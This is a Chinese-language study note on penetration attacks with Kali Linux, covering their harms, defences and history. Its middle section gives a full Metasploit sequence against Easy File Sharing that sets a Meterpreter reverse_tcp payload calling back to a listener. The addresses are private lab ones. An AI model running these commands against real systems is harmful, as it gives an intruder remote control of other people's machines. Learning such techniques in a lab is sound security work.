Kali之渗透攻击

渗透攻击是指黑客为了获得非法利益，通过各种手段进入网络系统、计算机系统中，在未经授权的情况下获取信息、利用漏洞控制系统和执行越权操作的一种行为。其目的在于获取非法利益、破坏或者窃取关键数据、以及对网络系统进行控制。在学习渗透攻击这一知识点过程中，我深刻意识到渗透攻击的危害性和防御手段的重要性。

一、渗透攻击的危害性

网络安全已经成为信息化建设过程中的一项重要内容，渗透攻击作为网络攻击中的一种，具有以下危害性：

1. 盗取个人身份信息：黑客通过渗透攻击手段，可以窃取大量的个人身份信息，例如：ID、密码等，导致个人隐私泄露，甚至导致经济损失。

2. 破坏系统安全：通过渗透攻击手段，黑客可以篡改网站信息、破坏数据库、破坏系统安全，甚至可以导致服务器瘫痪。

1. 越权操作：渗透攻击如果险些成功，可以获取到系统管理员权限，黑客就可以进行越权操作，例如：删除网页信息、发布恶意广告等。

二，渗透过程：

（1）启动metasploit

Msfconsole

 

1. 启动渗透程序

 

search  EasyFileSharing

use  exploit/windows/http/easyfilesharing_seh

show  options

set  RHOST 192.168.169.130

set  RPORT 80

（3）设置控制端

set  payload windows/meterpreter/reverse_tcp

set  LHOST 192.168.169.131

set  LPORT 4444

（4）发动攻击

 

Exploit

三、防御渗透攻击的措施

        在渗透攻击防御方面，我们应该尽可能地提高系统安全性，为此我们需要采取以下措施：

1. 安装安全软件：安装杀毒软件、防火墙、入侵检测软件、漏洞扫描软件等软件，时刻保持系统安全。

2. 更新漏洞补丁：保持操作系统和应用程序的更新，及时安装漏洞补丁，以减少黑客的攻击机会。

3. 使用强密码：使用强密码可以有效地避免密码被破解，设定密码规则，例如大小写字母、数字组合，增加密码强度。

4. 删除无用文件：删除无用文件和过期文件，减少攻击者可以发现潜在漏洞的机会。

5. 加密敏感数据：对重要数据进行加密，确保敏感数据在传输和存储过程中不会被窃取。

四、渗透攻击的成长历程

     渗透攻击源远流长，伴随着网络技术的发展不断发展壮大。可以分为以下几个阶段：

1. 简单的口令猜测：最早期的渗透攻击属于非常简单的口令猜测，攻击者通过尝试一系列常用口令来进入目标系统。

2. 端口扫描：随着技术的发展，攻击者可以使用端口扫描工具扫描目标服务器，利用未经授权的端口进入目标系统。

3. SQL注入攻击：通过构造SQL查询语句，在目标数据库中查询数据或进行额外操作，例如删除，修改或更改数据库的权限。

4. 社交工程攻击：利用心理技巧来诱使受害者或组织人员进行某些行为，例如：透露出密码，甚至将电脑提供给攻击者进行操作。

总之，渗透攻击的技术层次不断